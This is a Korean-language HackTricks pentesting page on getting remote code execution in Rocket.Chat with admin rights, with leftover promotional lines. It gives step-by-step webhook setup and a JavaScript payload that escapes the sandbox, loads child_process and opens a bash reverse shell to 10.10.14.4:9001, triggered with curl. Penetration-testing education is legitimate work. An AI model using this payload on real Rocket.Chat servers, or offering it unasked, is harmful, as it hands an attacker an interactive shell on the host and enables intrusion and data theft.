hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

3.8 KiB

Rocket Chat

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

{% embed url="https://websec.nl/" %}

RCE

만약 Rocket Chat 내에서 관리자 권한을 가지고 있다면 RCE를 얻을 수 있습니다.

  • **Integrations**로 이동하고 **New Integration**을 선택하고 Incoming WebHook 또는 **Outgoing WebHook**을 선택합니다.
  • /admin/integrations/incoming
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • 웹훅 구성 (채널 및 게시물은 사용자 이름이 있어야 함):
  • 웹훅 스크립트 구성:
  • 변경 사항 저장
  • 생성된 웹훅 URL 가져오기:
  • curl을 사용하여 호출하면 rev 쉘을 받아야 함

{% embed url="https://websec.nl/" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법: